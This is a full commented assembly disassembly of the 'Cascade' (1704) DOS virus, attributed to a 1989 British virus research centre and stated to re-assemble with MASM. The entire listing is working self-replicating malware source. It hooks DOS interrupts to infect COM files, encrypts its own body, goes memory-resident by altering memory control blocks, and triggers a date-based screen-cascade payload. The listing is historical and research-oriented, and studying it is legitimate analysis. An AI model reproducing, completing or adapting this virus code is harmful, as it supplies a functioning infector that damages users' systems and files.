page 65,132 title The 'Cascade' Virus (1704 version) ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º British Computer Virus Research Centre º ; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º ; º Telephone: Domestic 0273-26105, International +44-273-26105 º ; º º ; º The 'Cascade' Virus (1704 version) º ; º Disassembled by Joe Hirst, March 1989 º ; º º ; º Copyright (c) Joe Hirst 1989. º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The virus occurs attached to the end of a COM file. The first ; three bytes of the program are stored in the virus, and replaced ; by a branch to the beginning of the virus. ; The disassembly has been tested by re-assembly using MASM 5.0. RAM SEGMENT AT 400H ; System data ORG 4EH BW044E DW ? ; VDU display start address ORG 6CH BW046C DW ? ; System clock RAM ENDS MCB SEGMENT AT 0 ; Memory control block references MB0000 DB ? ; MCB signature MW0001 DW ? ; MCB owner MW0003 DW ? ; MCB size MCB ENDS OPROG SEGMENT AT 0 ; Original program references ORG 100H OW0100 DW ? OB0102 DB ? OPROG ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:OPROG VIRLEN EQU OFFSET ENDADR-START MAXLEN EQU OFFSET START-ENDADR-20H JMPADR = OFFSET START-ENDADR-2 ORG 16H DW0016 DW ? ; PSP parent ID ORG 2CH DW002C DW ? ; PSP environment ORG 36H DW0036 DW ? ; FHT segment ORG 100H START: DB0100 DB 1 ; Encryption indicator ; Virus entry point ENTRY: CLI MOV BP,SP ; Save stack pointer CALL BP0010 ; \ Get address of BP0010 BP0010: POP BX ; / SUB BX,OFFSET BP0010+2AH ; Standardise relocation reg TEST DB0100[BX+2AH],1 ; Is virus encrypted JZ BP0030 ; Branch if not LEA SI,BP0030[BX+2AH] ; Address start of encrypted area MOV SP,OFFSET ENDADR-BP0030 ; Length of encrypted area BP0020: XOR [SI],SI ; \ Decrypt XOR [SI],SP ; / INC SI ; \ Next address DEC SP ; / JNZ BP0020 ; Repeat for all area BP0030: MOV SP,BP ; Restore stack pointer JMP BP0040 ; Branch past data ; Data PROGRM EQU THIS DWORD PRG_OF DW 100H ; Original program offset PRG_SGIDW 1021H ; Original program segment INITAX DW 0 ; Initial AX value PROG_1 DW 2DE9H ; \ First three bytes of program PROG_2 DB 0DH ; / DB 0, 0 I1CBIO EQU THIS DWORD I1C_OF DW 0FF53H ; Interrupt 1CH offset I1C_SG DW 0F000H ; Interrupt 1CH segment I21BIO EQU THIS DWORD I21_OF DW 1460H ; Interrupt 21H offset I21_SG DW 026AH ; Interrupt 21H segment I28BIO EQU THIS DWORD I28_OF DW 1445H ; Interrupt 28H offset I28_SG DW 0270H ; Interrupt 28H segment DW 0 ; - not referenced F_ATTR DW 0 ; File attributes F_DATE DW 0E71H ; File date F_TIME DW 601FH ; File time F_PATH EQU THIS DWORD PATHOF DW 044EH ; File pathname offset PATHSG DW 20FFH ; File pathname segment F_SIZ1 DW 62DBH ; File size - low word F_SIZ2 DW 0 ; File size - high word JUMP_1 DB 0E9H ; \ Jump instruction JUMP_2 DW 1D64H ; / NUMCOL DB 0 ; Number of display columns NUMROW DB 0 ; Number of display rows C80_SW DB 0 ; 80 column text switch CURCHA DB 0 ; Current character CURATT DB 0 ; Current attributes SWITCH DB 8 ; Switches ; 01 Int 1CH active ; 02 Switch 2 ; 04 Switch 3 - not used ; 08 No display RAM_SG DW 0 ; Video RAM segment VDURAM DW 0 ; VDU display start address LOOPCT DW 04F8H ; Timed loop count I1CCNT DW 0FDAH ; Int 1CH count I1CMAX DW 0FDAH ; Int 1CH random number maximum NUMPOS DW 0 ; Number of display positions RANPOS DW 1 ; Number of lines to affect RANDOM DW 8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H ; Main program start BP0040: CALL BP0050 ; \ Get address of BP0050 BP0050: POP BX ; / SUB BX,OFFSET BP0050+2AH ; Standardise relocation reg MOV PRG_SG[BX+2AH],CS ; Save original program segment MOV INITAX[BX+2AH],AX ; Save initial AX value MOV AX,PROG_1[BX+2AH] ; Get first 2 bytes of program MOV OW0100,AX ; Replace them MOV AL,PROG_2[BX+2AH] ; Get third byte of program MOV OB0102,AL ; Replace it PUSH BX MOV AH,30H ; Get DOS version number function INT 21H ; DOS service POP BX CMP AL,2 ; Version 2.X or above? JB BP0060 ; Branch if not MOV AX,4BFFH ; Is virus active function XOR DI,DI ; Clear register XOR SI,SI ; Clear register INT 21H ; DOS service CMP DI,55AAH ; Is virus already active JNE BP0070 ; Branch if not BP0060: STI PUSH DS ; \ Set ES to DS POP ES ; / MOV AX,INITAX[BX+2AH] ; Restore initial AX value JMP PROGRM[BX+2AH] ; Branch to original program BP0070: PUSH BX MOV AX,3521H ; Get interrupt 21H function INT 21H ; DOS service MOV AX,BX ; Move interrupt 21H offset POP BX MOV I21_OF[BX+2AH],AX ; Save interrupt 21H offset MOV I21_SG[BX+2AH],ES ; Save interrupt 21H segment MOV AX,0F000H ; \ MOV ES,AX ; ) Address BIOS MOV DI,0E008H ; / CMP WORD PTR ES:[DI],'OC' ; \ Branch if not IBM BIOS JNE BP0080 ; / CMP WORD PTR ES:[DI+2],'RP' ; \ Branch if not IBM BIOS JNE BP0080 ; / CMP WORD PTR ES:[DI+4],' .' ; \ Branch if not IBM BIOS JNE BP0080 ; / CMP WORD PTR ES:[DI+6],'BI' ; \ Branch if not IBM BIOS JNE BP0080 ; / CMP WORD PTR ES:[DI+8],'M' ; \ IBM BIOS JE BP0060 ; / ; Install virus ASSUME ES:MCB,DS:NOTHING BP0080: MOV AX,007BH ; Load size of virus in paragraphs MOV BP,CS ; Get current segment DEC BP ; \ Address back to MCB MOV ES,BP ; / MOV SI,DW0016 ; Get parent ID MOV MW0001,SI ; Store as owner in MCB MOV DX,MW0003 ; Get MCB size MOV MW0003,AX ; Store virus size MOV MB0000,4DH ; Store MCB identification SUB DX,AX ; Subtract virus from original size DEC DX ; INC BP ; Forward from MCB ADD BP,AX ; Add size of virus INC BP ; And of another MCB MOV ES,BP ; Address new PSP segment PUSH BX MOV AH,50H ; Set current PSP function MOV BX,BP ; New PSP segment INT 21H ; DOS service POP BX XOR DI,DI ; Clear register PUSH ES ; \ Set stack segment to new PSP POP SS ; / PUSH DI LEA DI,CPY040[BX+2AH] ; Address end of virus MOV SI,DI ; And for source MOV CX,VIRLEN ; Get length of virus STD ; Going downwards REPZ MOVSB ; Copy virus PUSH ES ; Push new segment LEA CX,BP0090[BX+2AH] ; \ And next instruction PUSH CX ; / RETF ; ... and load them ; Now running in virus at end of new program segment BP0090: MOV PRG_SG[BX+2AH],CS ; New segment in program address LEA CX,DB0100[BX+2AH] ; Get length of original program REPZ MOVSB ; Copy original program to new PSP MOV DW0036,CS ; New segment in handle table address DEC BP ; \ Address back to MCB MOV ES,BP ; / MOV MW0003,DX ; Store original program size MOV MB0000,5AH ; Store MCB ident (last) MOV MW0001,CS ; Store CS as owner in MCB INC BP ; \ Forward again to PSP MOV ES,BP ; / PUSH DS ; \ Set ES to DS POP ES ; / PUSH CS ; \ Set DS to CS POP DS ; / LEA SI,DB0100[BX+2AH] ; Address start of virus MOV DI,OFFSET DB0100 ; Start of program area in first area MOV CX,VIRLEN ; Get length of virus CLD ; Copy forwards REPZ MOVSB ; Copy virus to start of first area PUSH ES ; Push segment of first area LEA AX,BP0100 ; \ Offset of next instruction PUSH AX ; / RETF ; ... and load them ; Now running in installed virus, first area ASSUME ES:NOTHING BP0100: MOV DW002C,0 ; No environment pointer MOV DW0016,CS ; Is its own parent PUSH DS LEA DX,INT_21 ; Interrupt 21H routine PUSH CS ; \ Set DS to CS POP DS ; / MOV AX,2521H ; Set interrupt 21H function INT 21H ; DOS service POP DS MOV AH,1AH ; Set DTA function MOV DX,0080H ; DTA address INT 21H ; DOS service CALL GETCLK ; Copy system clock MOV AH,2AH ; Get date function INT 21H ; DOS service CMP CX,07C4H ; Year 1988? JA BP0130 ; Branch if after 1988 JE BP0110 ; Branch if 1988 CMP CX,07BCH ; Year 1980? JNE BP0130 ; Branch if not PUSH DS MOV AX,3528H ; Get interrupt 28H function INT 21H ; DOS service MOV I28_OF,BX ; Save interrupt 28H offset MOV I28_SG,ES ; Save interrupt 28H segment MOV AX,2528H ; Set interrupt 28H function MOV DX,OFFSET INT_28 ; Int 28H routine address PUSH CS ; \ Set DS to CS POP DS ; / INT 21H ; DOS service POP DS OR SWITCH,8 ; Set on No display switch JMP BP0120 ; Year is 1988 BP0110: CMP DH,0AH ; October? JB BP0130 ; Branch if not BP0120: CALL TIMCYC ; Time one clock cycle MOV AX,1518H ; Upper limit - 5400 CALL RNDNUM ; Create random number INC AX ; Add to random number MOV I1CCNT,AX ; Set Int 1CH count MOV I1CMAX,AX ; Set Int 1CH random no maximum MOV RANPOS,1 ; Set num of lines to affect to 1 MOV AX,351CH ; Get interrupt 1CH function INT 21H ; DOS service MOV I1C_OF,BX ; Save interrupt 1CH offset MOV I1C_SG,ES ; Save interrupt 1CH segment PUSH DS MOV AX,251CH ; Set interrupt 1CH function MOV DX,OFFSET INT_1C ; Int 1CH routine address PUSH CS ; \ Set DS to CS POP DS ; / INT 21H ; DOS service POP DS BP0130: MOV BX,-2AH ; Set up relocation register JMP BP0060 ; Branch to start program ; Interrupt 21H routine INT_21: CMP AH,4BH ; Load function? JE I_2106 ; Branch if yes I_2102: JMP I21BIO ; Branch to original int 21H ; Virus call I_2104: MOV DI,55AAH ; Virus call - signal back LES AX,I21BIO ; Load return address MOV DX,CS ; Load segment IRET ; Load and execute function I_2106: CMP AL,0FFH ; Is this a virus call? JE I_2104 ; Branch if yes CMP AL,0 ; Load and execute? JNE I_2102 ; Branch if not PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH ES PUSH DS MOV PATHOF,DX ; Save pathname offset MOV PATHSG,DS ; Save pathname segment PUSH CS ; \ Set ES to CS POP ES ; / MOV AX,3D00H ; Open handle function INT 21H ; DOS service JB I_2110 ; Branch if error MOV BX,AX ; Move file handle MOV AX,5700H ; Get file date and time function INT 21H ; DOS service MOV F_DATE,DX ; Save file date MOV F_TIME,CX ; Save file time MOV AH,3FH ; Read handle function PUSH CS ; \ Set DS to CS POP DS ; / MOV DX,OFFSET PROG_1 ; \ First three bytes of program MOV CX,3 ; / INT 21H ; DOS service JB I_2110 ; Branch if error CMP AX,CX ; Correct length read? JNE I_2110 ; Branch if error MOV AX,4202H ; Move file pointer (EOF) function XOR CX,CX ; \ No displacement XOR DX,DX ; / INT 21H ; DOS service MOV F_SIZ1,AX ; File size - low word MOV F_SIZ2,DX ; File size - high word MOV AH,3EH ; Close handle function INT 21H ; DOS service CMP PROG_1,5A4DH ; Is it an EXE file? JNE I_2108 ; Branch if not JMP I_2124 ; Dont infect I_2108: CMP F_SIZ2,0 ; File size - high word JA I_2110 ; Branch if file too big CMP F_SIZ1,MAXLEN ; Maximum file size? JBE I_2112 ; Branch if file not too big I_2110: JMP I_2124 ; Dont infect I_2112: CMP BYTE PTR PROG_1,0E9H ; Does program start with a branch JNE I_2114 ; Branch if not MOV AX,F_SIZ1 ; Get file size - low word ADD AX,WORD PTR JMPADR ; Convert to infected offset CMP AX,PROG_1+1 ; Is it the same JE I_2110 ; Branch if already infected I_2114: MOV AX,4300H ; Get file attributes function LDS DX,F_PATH ; Pathname pointer INT 21H ; DOS service JB I_2110 ; Branch if error MOV F_ATTR,CX ; Save file attributes XOR CL,20H ; Change archive bit TEST CL,27H ; Are there any attributes to change JZ I_2116 ; Branch if not MOV AX,4301H ; Set file attributes function XOR CX,CX ; No attributes INT 21H ; DOS service JB I_2110 ; Branch if error I_2116: MOV AX,3D02H ; Open handle (R/W) function INT 21H ; DOS service JB I_2110 ; Branch if error MOV BX,AX ; Move file handle MOV AX,4202H ; Move file pointer (EOF) function XOR CX,CX ; \ No displacement XOR DX,DX ; / INT 21H ; DOS service CALL CPYVIR ; Copy virus to program JNB I_2118 ; Branch if no error MOV AX,4200H ; Move file pointer (Start) function MOV CX,F_SIZ2 ; File size - high word MOV DX,F_SIZ1 ; File size - low word INT 21H ; DOS service MOV AH,40H ; Write handle function XOR CX,CX ; Zero length (reset length} INT 21H ; DOS service JMP I_2120 ; Reset file details I_2118: MOV AX,4200H ; Move file pointer (Start) function XOR CX,CX ; \ No displacement XOR DX,DX ; / INT 21H ; DOS service JB I_2120 ; Branch if error MOV AX,F_SIZ1 ; Get file size - low word ADD AX,0FFFEH ; Convert to jump offset MOV JUMP_2,AX ; Store in jump instruction MOV AH,40H ; Write handle function MOV DX,OFFSET JUMP_1 ; Address to jump instruction MOV CX,3 ; Length of jump instruction INT 21H ; DOS service I_2120: MOV AX,5701H ; Set file date and time function MOV DX,F_DATE ; Get old file date MOV CX,F_TIME ; Get old file time INT 21H ; DOS service MOV AH,3EH ; Close handle function INT 21H ; DOS service MOV CX,F_ATTR ; Get old file attributes TEST CL,7 ; System, read only or hidden? JNZ I_2122 ; Branch if yes TEST CL,20H ; Archive? JNZ I_2124 ; Branch if yes I_2122: MOV AX,4301H ; Set file attributes function LDS DX,F_PATH ; Pathname pointer INT 21H ; DOS service I_2124: POP DS POP ES POP BP POP DI POP SI POP DX POP CX POP BX POP AX POPF JMP I_2102 ; Original interrupt 21H ; Create random number RNDNUM: PUSH DS PUSH CS ; \ Set DS to CS POP DS ; / PUSH BX PUSH CX PUSH DX PUSH AX ; Save multiplier MOV CX,7 ; Seven words to move MOV BX,OFFSET RANDOM+14 ; Last word of randomiser PUSH [BX] ; Save last word RND010: MOV AX,[BX-2] ; Get previous word ADC [BX],AX ; Add to current word DEC BX ; \ Address previous word DEC BX ; / LOOP RND010 ; Repeat for each word POP AX ; Retrieve last word ADC [BX],AX ; Add to first word MOV DX,[BX] ; Get result POP AX ; Recover multiplier OR AX,AX ; Is there a multiplier? JZ RND020 ; Branch if not MUL DX ; Multiply random number RND020: MOV AX,DX ; Move result POP DX POP CX POP BX POP DS RET ; Copy system clock GETCLK: PUSH DS PUSH ES PUSH SI PUSH DI PUSH CX PUSH CS ; \ Set ES to CS POP ES ; / MOV CX,0040H ; \ Set DS to system RAM MOV DS,CX ; / MOV DI,OFFSET RANDOM ; Randomizer work area MOV SI,006CH ; Address system clock MOV CX,8 ; Eight bytes to copy CLD REPZ MOVSW ; Copy system clock POP CX POP DI POP SI POP ES POP DS RET ; Get character and attributes ASSUME DS:CODE GETCHA: PUSH SI PUSH DS PUSH DX MOV AL,DH ; Get row number MUL NUMCOL ; Number of visible columns MOV DH,0 ; Clear top of register ADD AX,DX ; Add column number SHL AX,1 ; Multiply by two ADD AX,VDURAM ; Add VDU display start address MOV SI,AX ; Move character pointer TEST C80_SW,0FFH ; Test 80 column text switch MOV DS,RAM_SG ; Video RAM segment JZ GTC030 ; Branch if switch off MOV DX,03DAH ; VDU status register CLI GTC010: IN AL,DX ; Get VDU status TEST AL,8 ; Is it frame flyback time JNZ GTC030 ; Branch if yes TEST AL,1 ; Test toggle bit JNZ GTC010 ; Branch if on GTC020: IN AL,DX ; Get VDU status TEST AL,1 ; Test toggle bit JZ GTC020 ; Branch if off GTC030: LODSW ; Load character and attribute STI POP DX POP DS POP SI RET ; Store character and attributes STOCHA: PUSH DI PUSH ES PUSH DX PUSH BX MOV BX,AX MOV AL,DH ; Get row number MUL NUMCOL ; Number of visible columns MOV DH,0 ; Clear top of register ADD AX,DX ; Add column number SHL AX,1 ; Multiply by two ADD AX,VDURAM ; Add VDU display start address MOV DI,AX ; Move character pointer TEST C80_SW,0FFH ; Test 80 column text switch MOV ES,RAM_SG ; Video RAM segment JZ STO030 ; Branch if switch off MOV DX,03DAH ; VDU status register CLI STO010: IN AL,DX ; Get VDU status TEST AL,8 ; Is it frame flyback time JNZ STO030 ; Branch if yes TEST AL,1 ; Test toggle bit JNZ STO010 ; Branch if on STO020: IN AL,DX ; Get VDU status TEST AL,1 ; Test toggle bit JZ STO020 ; Branch if off STO030: MOV AX,BX STOSB ; Store character and attribute STI POP BX POP DX POP ES POP DI RET ; Delay loop DELAY: PUSH CX DEL010: PUSH CX MOV CX,LOOPCT ; Get timed loop count DEL020: LOOP DEL020 POP CX LOOP DEL010 POP CX RET ; Toggle speaker drive CH_SND: PUSH AX IN AL,61H ; Get port B XOR AL,2 ; Toggle speaker drive AND AL,0FEH ; Switch off speaker modulate OUT 61H,AL ; Rewrite port B POP AX RET ; Is character 0, 32 or 255? IGNORE: CMP AL,0 ; Is it a zero? JE IGN010 ; Branch if yes CMP AL,20H ; Is it a space? JE IGN010 ; Branch if yes CMP AL,0FFH ; Is it FF? JE IGN010 ; Branch if yes CLC RET IGN010: STC RET ; Graphic display character GRAPHD: CMP AL,0B0H ; Is it below 176? JB GRA010 ; Branch if yes CMP AL,0DFH ; Is it above 223? JA GRA010 ; Branch if yes STC RET GRA010: CLC RET ; Time one clock cycle TIMCYC: PUSH DS MOV AX,0040H ; \ Set DS to system RAM MOV DS,AX ; / STI ASSUME DS:RAM MOV AX,BW046C ; Get low word of system clock TIM010: CMP AX,BW046C ; Has clock changed? JE TIM010 ; Branch if not XOR CX,CX ; Clear register MOV AX,BW046C ; Get low word of system clock TIM020: INC CX ; Increment count JZ TIM040 ; Branch if now zero CMP AX,BW046C ; Has clock changed? JE TIM020 ; Branch if not TIM030: POP DS ASSUME DS:NOTHING MOV AX,CX ; Transfer count XOR DX,DX ; Clear register MOV CX,000FH ; \ Divide by 15 DIV CX ; / MOV LOOPCT,AX ; Save timed loop count RET TIM040: DEC CX ; Set to minus one JMP SHORT TIM030 ; Cascade display routine ASSUME DS:CODE DISPLY: MOV NUMROW,18H ; Number of display rows PUSH DS MOV AX,0040H ; \ Set DS to system RAM MOV DS,AX ; / ASSUME DS:RAM MOV AX,BW044E ; VDU display start address POP DS ASSUME DS:CODE MOV VDURAM,AX ; Save VDU display start address MOV DL,0FFH MOV AX,1130H ; Get character generator information MOV BH,0 ; Int 1FH vector PUSH ES PUSH BP INT 10H ; VDU I/O POP BP POP ES CMP DL,0FFH ; Is register unchanged? JE DSP010 ; Branch if yes MOV NUMROW,DL ; Number of display rows (EGA) DSP010: MOV AH,0FH ; Get VDU parameters INT 10H ; VDU I/O MOV NUMCOL,AH ; Save number of columns MOV C80_SW,0 ; Set off 80 column text switch MOV RAM_SG,0B000H ; Video RAM segment - Mono CMP AL,7 ; Mode 7? JE DSP040 ; Branch if yes JB DSP020 ; Branch if less JMP DSP130 ; Switch off speaker and return DSP020: MOV RAM_SG,0B800H ; Video RAM segment CMP AL,3 ; Display mode 3? JA DSP040 ; Branch if above CMP AL,2 ; Display mode 2? JB DSP040 ; Branch if below MOV C80_SW,1 ; Set on 80 column text switch MOV AL,NUMROW ; Number of display rows INC AL ; Number, not offset MUL NUMCOL ; Number of visible columns MOV NUMPOS,AX ; Save number of display positions MOV AX,RANPOS ; Get number of lines to affect CMP AX,NUMPOS ; Number of display positions JBE DSP030 ; Branch if within range MOV AX,NUMPOS ; Get number of display positions DSP030: CALL RNDNUM ; Create random number INC AX ; Add to random number MOV SI,AX ; Use as count DSP040: XOR DI,DI ; Set second count to zero DSP050: INC DI ; Increment second count MOV AX,NUMPOS ; Get number of display positions SHL AX,1 ; Multiply by two CMP DI,AX ; Has second count reached this? JBE DSP060 ; Branch if not JMP DSP130 ; Switch off speaker and return DSP060: OR SWITCH,2 ; Set on switch 2 MOV AL,NUMCOL ; \ Number of visible columns MOV AH,0 ; / is upper limit CALL RNDNUM ; Create random number MOV DL,AL ; Random column number MOV AL,NUMROW ; \ Number of display rows MOV AH,0 ; / is upper limit CALL RNDNUM ; Create random number MOV DH,AL ; Random row number CALL GETCHA ; Get character and attributes CALL IGNORE ; Is character 0, 32 or 255? JB DSP050 ; Branch if yes CALL GRAPHD ; Is it a graphic display character JB DSP050 ; Branch if yes MOV CURCHA,AL ; Save current character MOV CURATT,AH ; Save current attributes MOV CL,NUMROW ; Number of display rows MOV CH,0 ; Column zero DSP070: INC DH ; Next row CMP DH,NUMROW ; Was that the last row? JA DSP110 ; Branch if yes CALL GETCHA ; Get character and attributes CMP AH,CURATT ; Are attributes the same? JNE DSP110 ; Branch if not CALL IGNORE ; Is character 0, 32 or 255? JB DSP090 ; Branch if yes DSP080: CALL GRAPHD ; Is it a graphic display character JB DSP110 ; Branch if yes INC DH ; Next row CMP DH,NUMROW ; Was that the last row? JA DSP110 ; Branch if yes CALL GETCHA ; Get character and attributes CMP AH,CURATT ; Are attributes the same? JNE DSP110 ; Branch if not CALL IGNORE ; Is character 0, 32 or 255? JNB DSP080 ; Branch if not CALL CH_SND ; Toggle speaker drive DEC DH ; Previous row CALL GETCHA ; Get character and attributes MOV CURCHA,AL ; Save current character INC DH ; Next row DSP090: AND SWITCH,0FDH ; Set off switch 2 DEC DH ; Previous row MOV AL,20H ; Replace character with space CALL STOCHA ; Store character and attributes INC DH ; Next row MOV AL,CURCHA ; Get current character CALL STOCHA ; Store character and attributes JCXZ DSP100 ; Branch if end of count CALL DELAY ; Delay loop DEC CX ; Decrement count DSP100: JMP SHORT DSP070 DSP110: TEST SWITCH,2 ; Test switch 2 JZ DSP120 ; Branch if off JMP DSP050 DSP120: CALL CH_SND ; Toggle speaker drive DEC SI ; Subtract from count JZ DSP130 ; Switch off speaker and return JMP DSP040 ; Switch off speaker and return DSP130: IN AL,61H ; Get port B AND AL,0FCH ; Switch off speaker OUT 61H,AL ; Rewrite port B+ RET ; Interrupt 1CH routine ASSUME DS:NOTHING INT_1C: TEST SWITCH,9 ; No display or already active? JNZ I_1C40 ; Branch if either are on OR SWITCH,1 ; Set on Int 1CH active switch DEC I1CCNT ; Subtract from Int 1CH count JNZ I_1C30 ; Branch if not zero PUSH DS PUSH ES PUSH CS ; \ Set DS to CS POP DS ; / PUSH CS ; \ Set ES to CS POP ES ; / ASSUME DS:CODE PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP MOV AL,20H ; \ Signal end of interrupt OUT 20H,AL ; / MOV AX,I1CMAX ; Get Int 1CH random no maximum CMP AX,0438H ; Is it 1080 or above JNB I_1C10 ; Branch if yes MOV AX,0438H ; Upper limit - 1080 I_1C10: CALL RNDNUM ; Create random number INC AX ; Add to random number MOV I1CCNT,AX ; Reset Int 1CH count MOV I1CMAX,AX ; Reset Int 1CH random no maximum CALL DISPLY ; Cascade display routine MOV AX,3 ; Upper limit - 3 CALL RNDNUM ; Create random number INC AX ; Add to random number MUL RANPOS ; Multiply by num of lines to affect JNB I_1C20 ; Is result more than a word? MOV AX,-1 ; Set to maximum I_1C20: MOV RANPOS,AX ; Save number of lines to affect POP BP POP DI POP SI POP DX POP CX POP BX POP AX POP ES POP DS ASSUME DS:NOTHING I_1C30: AND SWITCH,0FEH ; Set off Int 1CH active switch I_1C40: JMP I1CBIO ; Branch to original int 1CH ; Interrupt 28H routine INT_28: TEST SWITCH,8 ; Test No display switch JZ I_2830 ; Branch if not PUSH AX PUSH CX PUSH DX MOV AH,2AH ; Get date function INT 21H ; DOS service CMP CX,07C4H ; Year 1988? JB I_2820 ; Not yet - do nothing JA I_2810 ; After 1988 CMP DH,0AH ; October? JB I_2820 ; Not yet - do nothing I_2810: AND SWITCH,0F7H ; Set off No display switch I_2820: POP DX POP CX POP AX I_2830: JMP I28BIO ; Branch to original int 28H ; Copy virus to program CPYVIR: PUSH ES PUSH BX MOV AH,48H ; Allocate memory function MOV BX,006BH ; Length of virus INT 21H ; DOS service POP BX JNB CPY020 ; Branch if no error CPY010: STC POP ES RET CPY020: MOV DB0100,1 ; Set encryption indicator MOV ES,AX ; Set target segment to allocated PUSH CS ; \ Set DS to CS POP DS ; / ASSUME DS:CODE XOR DI,DI ; Start of allocated MOV SI,OFFSET DB0100 ; Start of virus MOV CX,VIRLEN ; Length of virus CLD REPZ MOVSB ; Copy virus MOV DI,0023H ; Start of area to encrypt MOV SI,OFFSET BP0030 ; Address of area ADD SI,F_SIZ1 ; Length of target file MOV CX,OFFSET ENDADR-BP0030 ; Length to encrypt CPY030: XOR ES:[DI],SI ; \ Encrypt XOR ES:[DI],CX ; / INC DI ; \ Next address INC SI ; / LOOP CPY030 ; Repeat for all area MOV DS,AX ; Allocated area segment MOV AH,40H ; Write handle function XOR DX,DX ; From start MOV CX,VIRLEN ; Length of virus INT 21H ; DOS service PUSHF PUSH AX MOV AH,49H ; Free allocated memory function INT 21H ; DOS service POP AX POPF PUSH CS ; \ Set DS to CS POP DS ; / JB CPY010 ; Branch if error CMP AX,CX ; Correct length written? JNE CPY010 ; Branch if error POP ES CLC CPY040: RET ENDADR EQU $ CODE ENDS END START